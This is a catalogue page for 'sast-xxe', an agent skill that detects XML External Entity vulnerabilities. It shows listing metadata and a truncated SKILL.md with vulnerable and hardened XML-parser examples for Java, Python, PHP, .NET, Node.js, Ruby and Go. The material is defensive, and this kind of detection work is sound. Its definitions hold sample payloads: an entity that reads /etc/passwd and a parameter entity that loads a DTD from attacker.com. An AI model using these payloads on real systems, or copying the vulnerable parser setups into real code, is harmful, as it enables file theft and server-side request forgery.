SkillAgentSearch skills...

sast-xxe

Detect XML External Entity (XXE) vulnerabilities in a codebase using a three-phase approach: recon (find XML parsing sites without external-entity hardening), batched verify (trace user input to each site in parallel subagents, 3 sites each), and merge (consolidate batch results).

Install / Use

npx skills add utkusen/sast-skills --skill sast-xxe

Installs into whichever agent you are using.

About this skill
📄

SKILL.md

Installable skill definition

Quality Score

89/100

Category

Security

Supported Platforms

Universal

Our assessment of sast-xxe

sast-xxe scores 89/100 on our quality scale, 496th of 971 Security skills we index.

Its SKILL.md is 28 KB long, well organised into 31 sections with 20 code examples: a thorough specification that gives an agent plenty to work with.

With 1,321 GitHub stars, it is one of the more widely adopted skills in the catalogue.

Substance
30/30
Structure
20/20
Description
15/15
Adoption
13/20
Freshness
11/15

Maintenance, license and trust

  • The repository was last updated about 6 months ago. That is recent enough to be usable, but agent tooling moves fast, so check the instructions against your agent's current version.
  • It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
  • Its trust signals score 98/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.

sast-xxe compared with similar skills

All 4 of these similar skills score higher than sast-xxe; compare them before choosing.

SkillScoreStarsUpdatedFormat
sast-xxe (this skill)by utkusen891.3k6mo agoSKILL.md
algorithmic-artby anthropics100177.9k8d agoSKILL.md
pptxby anthropics100177.9k8d agoSKILL.md
designby nextlevelbuilder100130.2k9d agoSKILL.md
ui-ux-pro-maxby nextlevelbuilder100130.2k9d agoSKILL.md

Frequently asked questions

How do I install sast-xxe?
Run npx skills add utkusen/sast-skills --skill sast-xxe. The install tabs above show the steps for each supported agent.
Which AI agents does sast-xxe work with?
It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
Is sast-xxe safe to use?
It is MIT-licensed and scores 98/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
Is sast-xxe still maintained?
The repository was last updated about 6 months ago. That is recent enough to be usable, but agent tooling moves fast, so check the instructions against your agent's current version.

name: sast-xxe description: >- Detect XML External Entity (XXE) vulnerabilities in a codebase using a three-phase approach: recon (find XML parsing sites without external-entity hardening), batched verify (trace user input to each site in parallel subagents, 3 sites each), and merge (consolidate batch results). Requires sast/architecture.md (run sast-analysis first). Outputs findings to sast/xxe-results.md. Use when asked to find XXE or XML injection bugs.

XML External Entity (XXE) Detection

You are performing a focused security assessment to find XXE vulnerabilities in a codebase. This skill uses a three-phase approach with subagents: recon (find XML parsing sites where external entities are not safely disabled), batched verify (trace whether user-supplied input reaches those parsers, in parallel batches of 3), and merge (consolidate batch results into one report).

Prerequisites: sast/architecture.md must exist. Run the analysis skill first if it doesn't.


What is XXE

XXE occurs when an XML parser processes a document containing a reference to an external entity and the parser has external entity resolution enabled. An attacker who can supply XML input can use this to read arbitrary local files, perform server-side request forgery (internal network probing), trigger denial-of-service via entity expansion (Billion Laughs), or in some stacks execute OS commands.

The core pattern: user-controlled XML reaches an XML parser that has not disabled DTD processing or external entity resolution.

What XXE IS

  • XML parsed with external entity resolution enabled by default and no explicit hardening applied
  • SYSTEM entity declarations that reference file:// or http:// URIs: <!ENTITY xxe SYSTEM "file:///etc/passwd">
  • DTD processing not explicitly disabled in parsers where it is on by default (Java DOM/SAX, PHP SimpleXML/DOMDocument, libxml2-backed parsers)
  • Parameter entity injection in DTDs: <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;
  • XInclude injection when XInclude processing is enabled
  • SSRF via XXE: using http:// or https:// external entity URLs to reach internal services
  • Blind XXE via out-of-band exfiltration (DNS, HTTP callback to attacker-controlled server)

What XXE is NOT

Do not flag these as XXE:

  • XSS via XML: XML data rendered as HTML without escaping — that's XSS
  • SSRF via non-XML: HTTP requests triggered by other mechanisms — that's SSRF
  • XML parsing of fully server-controlled data: Config files, bundled resources, migration scripts with no user influence — not exploitable
  • Safe parsers: Libraries that disable external entities by default and provide no way to re-enable them (e.g. defusedxml in Python, nokogiri with default settings in Ruby for untrusted input)

Patterns That Prevent XXE

When you see these patterns, the parser is likely not vulnerable:

1. Disabling DTD / external entities (Java DOM)

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);

2. Disabling external entities (Java SAX)

SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

3. Disabling external entities (Java StAX / XMLInputFactory)

XMLInputFactory xif = XMLInputFactory.newInstance();
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);

4. Python — defusedxml (always safe)

import defusedxml.ElementTree as ET
tree = ET.parse(source)  # external entities, DTD, entity expansion all blocked

5. Python — lxml with resolve_entities=False

from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True)
tree = etree.parse(source, parser)

6. PHP — libxml_disable_entity_loader (PHP < 8.0) / LIBXML_NONET flag

libxml_disable_entity_loader(true);   // PHP 7.x — disables external entity loading
$doc = new DOMDocument();
$doc->loadXML($xml, LIBXML_NOENT | LIBXML_NONET);  // LIBXML_NONET blocks network
// Note: LIBXML_NOENT alone EXPANDS entities — it does NOT disable them

7. .NET — XmlReaderSettings with DtdProcessing.Prohibit

XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
settings.XmlResolver = null;
XmlReader reader = XmlReader.Create(stream, settings);

8. Node.js — xml2js (safe by default in v0.5+)

const xml2js = require('xml2js');
// xml2js does not resolve external entities by default — safe
xml2js.parseString(xmlInput, callback);

Vulnerable vs. Secure Examples

Python — stdlib xml.etree.ElementTree (vulnerable by default in CPython < 3.8 / expat quirks)

# VULNERABLE: ElementTree parses DTDs; stdlib does NOT protect against all XXE
import xml.etree.ElementTree as ET
def parse_data(request):
    xml_data = request.body
    tree = ET.fromstring(xml_data)   # no hardening — expat may resolve entities
    return process(tree)

# SECURE: use defusedxml drop-in replacement
import defusedxml.ElementTree as ET
def parse_data(request):
    xml_data = request.body
    tree = ET.fromstring(xml_data)   # defusedxml blocks all XXE vectors
    return process(tree)

Python — lxml

# VULNERABLE: lxml resolves external entities by default
from lxml import etree
def parse_upload(request):
    data = request.body
    tree = etree.fromstring(data)    # external entities resolved, network access allowed
    return render(tree)

# SECURE: disable entity resolution and network access
from lxml import etree
def parse_upload(request):
    data = request.body
    parser = etree.XMLParser(resolve_entities=False, no_network=True, load_dtd=False)
    tree = etree.fromstring(data, parser)
    return render(tree)

Java — DocumentBuilder (DOM)

// VULNERABLE: default DocumentBuilder resolves external entities
@PostMapping("/import")
public ResponseEntity<?> importXml(@RequestBody String xml) throws Exception {
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    DocumentBuilder db = dbf.newDocumentBuilder();
    Document doc = db.parse(new InputSource(new StringReader(xml)));
    return ResponseEntity.ok(process(doc));
}

// SECURE: disable DTD and external entity features
@PostMapping("/import")
public ResponseEntity<?> importXml(@RequestBody String xml) throws Exception {
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
    dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    dbf.setExpandEntityReferences(false);
    DocumentBuilder db = dbf.newDocumentBuilder();
    Document doc = db.parse(new InputSource(new StringReader(xml)));
    return ResponseEntity.ok(process(doc));
}

Java — SAXParser

// VULNERABLE: default SAXParser allows external entities
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
parser.parse(inputStream, handler);

// SECURE: disable external entities
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
SAXParser parser = factory.newSAXParser();
parser.parse(inputStream, handler);

Java — XMLInputFactory (StAX)

// VULNERABLE: default XMLInputFactory supports external entities
XMLInputFactory xif = XMLInputFactory.newInstance();
XMLStreamReader xsr = xif.createXMLStreamReader(inputStream);

// SECURE: disable external entity support
XMLInputFactory xif = XMLInputFactory.newInstance();
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
XMLStreamReader xsr = xif.createXMLStreamReader(inputStream);

PHP — SimpleXML / DOMDocument

// VULNERABLE: simplexml_load_string with no entity loader disabled
function parseXml($xml) {
    return simplexml_load_string($xml);  // resolves external entities
}

// VULNERABLE: DOMDocument without protection
function parseXml($xml) {
    $doc = new DOMDocument();
    $doc->loadXML($xml);   // external entities enabled by default
    return $doc;
}

// SECURE (PHP 7.x): disable entity loader before parsing
function parseXml($xml) {
    libxml_disable_entity_loader(true);
    $doc = new DOMDocument();
    $doc->loadXML($xml, LIBXML_NONET);
    return $doc;
}

.NET — XmlDocument / XmlTextReader

// VULNERABLE: XmlDocument with default XmlUrlResolver resolves external entities
XmlDocument doc = new XmlDocument();
doc.Load(stream);   // external entities resolved

// VULNERABLE: XmlTextReader (legacy) — DTD processing on by default in old .NET
XmlTextReader reader = new XmlTextReader(stream);

// SECURE: XmlDocument with null resolver and prohibited DTD
XmlDocument doc = new XmlDocument();
doc.XmlResolver = null;   // disables external entity resolution
doc.Load(stream);

// SECURE: XmlReader with DtdProcessing.Prohibit
XmlReaderSettings settings = new XmlReaderSettings {
    DtdProcessing = DtdProcessing.Prohibit,
    XmlResolver = null
};
XmlReader reader = XmlReader.Create(stream, settings);

Node.js — libxmljs

// VULNERABLE: libxmljs parses with entity resolution on by default
const libxml = require('libxmljs');
app.post('/parse', (req, res) => {
    const doc = libxml.parseXmlString(req.body);
    res.send(doc.toString());
});

// SAFER: no built-in safe flag — avoid libxmljs for untrusted input entirely
// Prefer xml2js or a non-libxml2-backed parser

Ruby — Nokogiri

# VULNERABLE: Nokogiri with NOENT option enables entity substitution
def parse_xml(xml_input)
  Nokogiri::XML(xml_input) { |config| config.noent }
end

# SECURE: default Nokogiri (no options) — safe for untrusted input
def parse_xml(xml_input)
  Nokogiri::XML(xml_input)
end

Go — encoding/xml

// VULNERABLE: Go's encoding/xml does not resolve external entities
// but if combined with a third-party parser like etree with network enabled:
import "github.com/beevik/etree"

func parseXML(data []byte) {
    doc := etree.NewDocument()
    doc.ReadFromBytes(data)   // check library's entity resolution behaviour
}

// Go's standard encoding/xml: does not resolve external entities — generally safe.
// Flag only if a third-party XML library with entity support is used.

Execution

This skill runs in three phases using subagents. Pass the contents of sast/architecture.md to all subagents as context.

Phase 1: Find Vulnerable XML Parsing Sites

Launch a subagent with the following instructions:

Goal: Find every location in the codebase where XML is parsed without external entity resolution being explicitly disabled. Write results to sast/xxe-recon.md.

Context: You will be given the project's architecture summary. Use it to understand the tech stack, XML libraries in use, and any XML-accepting endpoints.

What to search for — vulnerable XML parsing patterns:

Flag any XML parsing call where there is **no adjacent, pair

Truncated for display — read the full file on GitHub.

Related Skills

View on GitHub
GitHub Stars1.3k
CategorySecurity
Updated5mo ago
Forks65

Trust signals

98/100

From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.

1 info